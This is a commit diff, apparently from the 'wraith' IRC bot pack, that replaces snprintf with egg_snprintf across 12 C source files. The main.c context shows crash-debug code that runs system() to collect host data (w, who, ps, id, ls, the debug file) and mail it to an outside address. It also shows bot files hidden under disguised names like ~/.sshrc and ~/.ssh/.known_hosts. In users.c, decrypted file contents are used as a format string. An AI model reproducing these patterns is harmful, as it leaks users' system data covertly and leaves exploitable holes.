Преглед на файлове

* Fixed all snprintf() to egg_snprintf()

svn: 369
Bryan Drewery преди 22 години
родител
ревизия
d43c5feb87
променени са 12 файла, в които са добавени 42 реда и са изтрити 40 реда
  1. 3 3
      src/botcmd.c
  2. 2 2
      src/cmds.c
  3. 1 1
      src/crypt.c
  4. 1 1
      src/dcc.c
  5. 23 21
      src/main.c
  6. 1 1
      src/mod/channels.mod/cmdschan.c
  7. 3 3
      src/mod/channels.mod/tclchan.c
  8. 1 1
      src/mod/console.mod/console.c
  9. 2 2
      src/mod/irc.mod/irc.c
  10. 1 1
      src/userent.c
  11. 2 2
      src/userrec.c
  12. 2 2
      src/users.c

+ 3 - 3
src/botcmd.c

@@ -1356,7 +1356,7 @@ botcmd_t C_bot[] =
 void send_remote_simul(int idx, char *bot, char *cmd, char *par)
 {
   char msg[SGRAB-110];
-  snprintf(msg, sizeof msg, "r-s %d %s %d %s %s %s", idx, dcc[idx].nick, dcc[idx].u.chat->con_flags, dcc[idx].u.chat->con_chan, cmd, par);
+  egg_snprintf(msg, sizeof msg, "r-s %d %s %d %s %s %s", idx, dcc[idx].nick, dcc[idx].u.chat->con_flags, dcc[idx].u.chat->con_chan, cmd, par);
 
   putbot(bot, msg);
 }
@@ -1397,7 +1397,7 @@ static void bot_rsim(char *botnick, char *code, char *par)
     strcpy(dcc[idx].u.chat->con_chan, rconchan);
     dcc[idx].u.chat->strip_flags = STRIP_ALL;
     strcpy(dcc[idx].nick, nick);
-    snprintf(buf, sizeof buf, "%s@%s", nick, botnick);
+    egg_snprintf(buf, sizeof buf, "%s@%s", nick, botnick);
     strcpy(dcc[idx].host, buf);
     dcc[idx].addr = 0;
     dcc[idx].user = get_user_by_handle(userlist, nick);
@@ -1413,7 +1413,7 @@ void bounce_simul(int idx, char *buf)
     return;
   }
 
-  snprintf(rmsg, sizeof rmsg, "r-sr %d %s", dcc[idx].simul, buf);          /* remote-simul[r]eturn idx buf */
+  egg_snprintf(rmsg, sizeof rmsg, "r-sr %d %s", dcc[idx].simul, buf);          /* remote-simul[r]eturn idx buf */
 
   putbot(dcc[idx].simulbot, rmsg);
 }

+ 2 - 2
src/cmds.c

@@ -437,7 +437,7 @@ static void cmd_botconfig(struct userrec *u, int idx, char *par)
   if (par[0]) {
     char tmp[100];    
     set_cfg_str(u2->handle, cfgent->name, (strcmp(par, "-")) ? par : NULL);
-    snprintf(tmp, sizeof tmp, "%s %s", cfgent->name, par);
+    egg_snprintf(tmp, sizeof tmp, "%s %s", cfgent->name, par);
     update_mod(u2->handle, dcc[idx].nick, "botconfig", tmp);
     dprintf(idx, STR("Now: "));
     write_userfile(idx);
@@ -2282,7 +2282,7 @@ static void cmd_chattr(struct userrec *u, int idx, char *par)
   if (chan) {
     char tmp[100];
     putlog(LOG_CMDS, "*", STR("#%s# (%s) chattr %s %s"), dcc[idx].nick, chan ? chan->dname : "*", hand, chg ? chg : "");
-    snprintf(tmp, sizeof tmp, "chattr %s", chg);
+    egg_snprintf(tmp, sizeof tmp, "chattr %s", chg);
     update_mod(hand, dcc[idx].nick, tmp, chan->dname);
   } else {
     putlog(LOG_CMDS, "*", STR("#%s# chattr %s %s"), dcc[idx].nick, hand, chg ? chg : "");

+ 1 - 1
src/crypt.c

@@ -174,7 +174,7 @@ int lfprintf(FILE *f, char *fmt, ...) {
   char *tptr, *tptr2, *temps1, *temps2;
 
   va_start(va, fmt);
-  vsnprintf(outbuf, sizeof(outbuf), fmt, va);
+  egg_vsnprintf(outbuf, sizeof(outbuf), fmt, va);
   tptr2 = outbuf;
 
 

+ 1 - 1
src/dcc.c

@@ -602,7 +602,7 @@ static void dcc_chat_secpass(int idx, char *buf, int atr)
   strip_telnet(dcc[idx].sock, buf, &atr);
   atr = dcc[idx].user ? dcc[idx].user->flags : 0;
   check[0] = 0;
-  snprintf(check, sizeof check, "+Auth %s", dcc[idx].hash);
+  egg_snprintf(check, sizeof check, "+Auth %s", dcc[idx].hash);
   check[MD5_HASH_LENGTH + 6] = 0;
 
   if (!strcmp(check, buf)) {

+ 23 - 21
src/main.c

@@ -265,7 +265,7 @@ void write_debug()
   } else
     nested_debug = 1;
 
-  snprintf(tmpout, sizeof tmpout, "* Last 3 contexts: %s/%d [%s], %s/%d [%s], %s/%d [%s]",
+  egg_snprintf(tmpout, sizeof tmpout, "* Last 3 contexts: %s/%d [%s], %s/%d [%s], %s/%d [%s]",
                                   cx_file[cx_ptr-2], cx_line[cx_ptr-2], cx_note[cx_ptr-2][0] ? cx_note[cx_ptr-2] : "",
                                   cx_file[cx_ptr-1], cx_line[cx_ptr-1], cx_note[cx_ptr-1][0] ? cx_note[cx_ptr-1] : "",
                                   cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
@@ -322,9 +322,9 @@ void write_debug()
     if (1) {
 /* FIXME: make into temp file.. */
       char buff[255];
-      snprintf(buff, sizeof(buff), "cat << EOFF >> bleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat DEBUG`\nEOFF", origbotname);
+      egg_snprintf(buff, sizeof(buff), "cat << EOFF >> bleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat DEBUG`\nEOFF", origbotname);
       system(buff);
-      snprintf(buff, sizeof(buff), "cat bleh |mail wraith@shatow.net");
+      egg_snprintf(buff, sizeof(buff), "cat bleh |mail wraith@shatow.net");
       system(buff);
       unlink("bleh");
     }
@@ -1128,14 +1128,14 @@ Context;
     if (temps[0])
       ipsix = newsplit(&temps);
 
-    snprintf(origbotname, 10, "%s", nick);
+    egg_snprintf(origbotname, 10, "%s", nick);
 
     if (ip[1]) {
       if (ip[0] == '!') { //natip
         ip++;
         sprintf(natip,"%s",ip);
       } else {
-        snprintf(myip, 120, "%s", ip);
+        egg_snprintf(myip, 120, "%s", ip);
       }
     }
 
@@ -1149,7 +1149,7 @@ Context;
     }
 
     if (ipsix && ipsix[1]) {
-      snprintf(myip6, 120, "%s", ipsix);
+      egg_snprintf(myip6, 120, "%s", ipsix);
     }
     if (my_ptr)
       nfree(my_ptr);
@@ -1289,14 +1289,16 @@ char *homedir()
 {
   static char home[DIRMAX], tmp[DIRMAX];
   struct passwd *pw;
+  sdprintf(STR("If the bot dies after this, try compiling on Debian."));
 Context;
   pw = getpwuid(geteuid());
+  sdprintf(STR("End Debian suggestion."));
 
   if (!pw)
    werr(ERR_PASSWD);
 
 Context;
-  snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
+  egg_snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
 Context;
   realpath(tmp, home); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
 
@@ -1309,7 +1311,7 @@ char *confdir()
 
 #ifdef LEAF
 {
-  snprintf(conf, sizeof conf, "%s/.ssh", homedir());
+  egg_snprintf(conf, sizeof conf, "%s/.ssh", homedir());
 }
 #endif /* LEAF */
 #ifdef HUB
@@ -1318,7 +1320,7 @@ char *confdir()
 
   tmpdir = nmalloc(strlen(binname)+1);
   strcpy(tmpdir, binname);
-  snprintf(conf, sizeof conf, "%s", dirname(tmpdir));
+  egg_snprintf(conf, sizeof conf, "%s", dirname(tmpdir));
   nfree(tmpdir);
 }
 #endif /* HUB */
@@ -1347,7 +1349,7 @@ char *my_uname()
 #endif /* __FreeBSD__ */
     }
 #endif /* HAVE_UNAME */
-  snprintf(os_uname, sizeof os_uname, "%s %s", unix_n, vers_n);
+  egg_snprintf(os_uname, sizeof os_uname, "%s %s", unix_n, vers_n);
   return os_uname;
 }
 
@@ -1496,7 +1498,7 @@ int main(int argc, char **argv)
     check_trace_start();
 
 #ifdef HUB
-  snprintf(tempdir, sizeof tempdir, "%s/tmp", confdir());
+  egg_snprintf(tempdir, sizeof tempdir, "%s/tmp", confdir());
 #endif /* HUB */
 
 #ifdef LEAF
@@ -1504,8 +1506,8 @@ int main(int argc, char **argv)
   char newbin[DIRMAX];
   sdprintf(STR("my uid: %d my uuid: %d, my ppid: %d my pid: %d"), getuid(), geteuid(), getppid(), getpid());
   chdir(homedir());
-  snprintf(newbin, sizeof newbin, "%s/.sshrc", homedir());
-  snprintf(tempdir, sizeof tempdir, "%s/...", confdir());
+  egg_snprintf(newbin, sizeof newbin, "%s/.sshrc", homedir());
+  egg_snprintf(tempdir, sizeof tempdir, "%s/...", confdir());
 
   sdprintf(STR("newbin at: %s"), newbin);
 
@@ -1543,7 +1545,7 @@ int main(int argc, char **argv)
 if (1) {
 char tmp[DIRMAX];
 
-  snprintf(tmp, sizeof tmp, "%s/", confdir());
+  egg_snprintf(tmp, sizeof tmp, "%s/", confdir());
   if (!can_stat(tmp)) {
 #ifdef LEAF
     if (mkdir(tmp,  S_IRUSR | S_IWUSR | S_IXUSR)) {
@@ -1557,7 +1559,7 @@ char tmp[DIRMAX];
 #endif /* LEAF */
   }
 
-  snprintf(tmp, sizeof tmp, "%s/", tempdir);
+  egg_snprintf(tmp, sizeof tmp, "%s/", tempdir);
   if (!can_stat(tmp)) {
     if (mkdir(tmp,  S_IRUSR | S_IWUSR | S_IXUSR)) {
       unlink(tempdir);
@@ -1576,9 +1578,9 @@ char tmp[DIRMAX];
 if (1) {		/* config shit */
   char cfile[DIRMAX], templine[8192];
 #ifdef LEAF
-  snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir());
+  egg_snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir());
 #else
-  snprintf(cfile, sizeof cfile, "%s/conf", confdir());
+  egg_snprintf(cfile, sizeof cfile, "%s/conf", confdir());
 #endif /* LEAF */
   if (!can_stat(cfile))
     werr(ERR_NOCONF);
@@ -1602,7 +1604,7 @@ if (1) {		/* config shit */
         sdprintf(STR("line %d, char %c "), i, temps[0]);
         werr(ERR_CONFBADENC);
       }
-      snprintf(c, sizeof c, "%s", temps);
+      egg_snprintf(c, sizeof c, "%s", temps);
 
       if (c[0] == '*')
         skip = 1;
@@ -1653,9 +1655,9 @@ if (1) {		/* config shit */
             sprintf(natip, "%s",ip);
           } else {
             if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
-              snprintf(myip, 120, "%s", ip);
+              egg_snprintf(myip, 120, "%s", ip);
           }
-          snprintf(origbotname, 10, "%s", nick);
+          egg_snprintf(origbotname, 10, "%s", nick);
 #ifdef HUB
           sprintf(userfile, "%s/.%s.user", confdir(), nick);
 #endif /* HUB */
@@ -1668,7 +1670,7 @@ if (1) {		/* config shit */
               sprintf(hostname, "%s",host);
           }
           if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
-            snprintf(myip6, 120, "%s",ipsix);
+            egg_snprintf(myip6, 120, "%s",ipsix);
           }
         } 
 #ifdef LEAF

+ 1 - 1
src/mod/channels.mod/cmdschan.c

@@ -1488,7 +1488,7 @@ void modesetting(int idx, char *work, int *cnt, char *name, int state)
   if (!work[0])
     sprintf(work, "  ");
   if (name && name[0]) {
-    snprintf(tmp, sizeof tmp, "%s%-17s", state ? "\002+\002" : "\002-\002", name);
+    egg_snprintf(tmp, sizeof tmp, "%s%-17s", state ? "\002+\002" : "\002-\002", name);
     strcat(work, tmp);
   }
   if (*cnt >= 4)

+ 3 - 3
src/mod/channels.mod/tclchan.c

@@ -258,12 +258,12 @@ static int tcl_channel STDVAR
     BADARGS(3, 4, " add channel-name ?options-list?");
     if (argc == 3) {
       
-      snprintf(buf2, sizeof buf2, "cjoin %s", argv[2]);
+      egg_snprintf(buf2, sizeof buf2, "cjoin %s", argv[2]);
       if (!loading)
         putallbots(buf2);
       return tcl_channel_add(irp, argv[2], "");
     }
-    snprintf(buf2, sizeof buf2, "cjoin %s %s", argv[2], argv[3]);
+    egg_snprintf(buf2, sizeof buf2, "cjoin %s %s", argv[2], argv[3]);
     if (!loading)
       putallbots(buf2);
     return tcl_channel_add(irp, argv[2], argv[3]);
@@ -310,7 +310,7 @@ Context;
       Tcl_AppendResult(irp, "no such channel record", NULL);
       return TCL_ERROR;
     }
-    snprintf(buf2, sizeof buf2, "cpart %s", argv[2]);
+    egg_snprintf(buf2, sizeof buf2, "cpart %s", argv[2]);
     putallbots(buf2);
     remove_channel(chan);
     return TCL_OK;

+ 1 - 1
src/mod/console.mod/console.c

@@ -118,7 +118,7 @@ static int console_set(struct userrec *u, struct user_entry *e, void *buf)
 
   if (!noshare && !(u->flags & (USER_BOT | USER_UNSHARED))) {
     char string[501];    
-    snprintf(string, sizeof string, "%s %s %s %d %d %d %d", ci->channel, masktype(ci->conflags), 
+    egg_snprintf(string, sizeof string, "%s %s %s %d %d %d %d", ci->channel, masktype(ci->conflags), 
                                     stripmasktype(ci->stripflags), ci->echoflags, ci->page, ci->conchan,
                                     ci->color);
     shareout(NULL, "c %s %s %s\n", e->type->name, u->handle, string);

+ 2 - 2
src/mod/irc.mod/irc.c

@@ -213,7 +213,7 @@ void getin_request(char *botnick, char *code, char *par)
       tmp = nmalloc(strlen(host) + 1);
       strcpy(tmp, host);
       tmp2 = strtok(tmp, "@");
-      snprintf(ip4host, sizeof ip4host, "%s@%s", strtok(tmp2, "@") ,ip4);
+      egg_snprintf(ip4host, sizeof ip4host, "%s@%s", strtok(tmp2, "@") ,ip4);
       nfree(tmp);
     } else {
       ip4host[0] = 0;
@@ -225,7 +225,7 @@ void getin_request(char *botnick, char *code, char *par)
       tmp = nmalloc(strlen(host) + 1);
       strcpy(tmp, host);
       tmp2 = strtok(tmp, "@");
-      snprintf(ip6host, sizeof ip6host, "%s@%s", strtok(tmp2, "@") ,ip6);
+      egg_snprintf(ip6host, sizeof ip6host, "%s@%s", strtok(tmp2, "@") ,ip6);
       nfree(tmp);
     } else {
       ip6host[0] = 0;

+ 1 - 1
src/userent.c

@@ -671,7 +671,7 @@ struct user_entry_type USERENTRY_STATS = {
 void update_mod(char *handle, char *nick, char *cmd, char *par)
 {
   char tmp[100];
-  snprintf(tmp, sizeof tmp, "%lu, %s (%s %s)", now, nick, cmd, (par && par[0]) ? par : "");
+  egg_snprintf(tmp, sizeof tmp, "%lu, %s (%s %s)", now, nick, cmd, (par && par[0]) ? par : "");
   set_user(&USERENTRY_MODIFIED, get_user_by_handle(userlist, handle), tmp);
 }
 

+ 2 - 2
src/userrec.c

@@ -360,7 +360,7 @@ int u_pass_match(struct userrec *u, char *in)
   if (!u)
     return 0;
 
-  snprintf(pass, sizeof pass, "%s", in);
+  egg_snprintf(pass, sizeof pass, "%s", in);
 
   cmp = get_user(&USERENTRY_PASS, u);
   if (!cmp && (!pass[0] || (pass[0] == '-')))
@@ -544,7 +544,7 @@ int write_userfile(int idx)
   lfprintf(f, "#DONT DELETE THIS LINE.");
   fclose(f);
   putlog(LOG_DEBUG, "@", "Done writing userfile.");
-  snprintf(backup, sizeof backup, "%s/%s~", tempdir, userfile);
+  egg_snprintf(backup, sizeof backup, "%s/%s~", tempdir, userfile);
   copyfile(userfile, backup);
   movefile(new_userfile, userfile);
   nfree(new_userfile);

+ 2 - 2
src/users.c

@@ -708,7 +708,7 @@ Context;
   s = buf;
   fscanf(f, "%[^\n]\n", cbuf);
   temps = (char *) decrypt_string(SALT1, cbuf);
-  snprintf(s, 1024, temps);
+  egg_snprintf(s, 1024, temps);
   nfree(temps);
   if (s[1] < '4') {
     fatal(USERF_OLDFMT, 0);
@@ -719,7 +719,7 @@ Context;
     s = buf;
     fscanf(f, "%[^\n]\n", cbuf);
     temps = (char *) decrypt_string(SALT1, cbuf);
-    snprintf(s, 1024, temps);
+    egg_snprintf(s, 1024, temps);
     nfree(temps);
     if (!feof(f)) {
       if (s[0] != '#' && s[0] != ';' && s[0]) {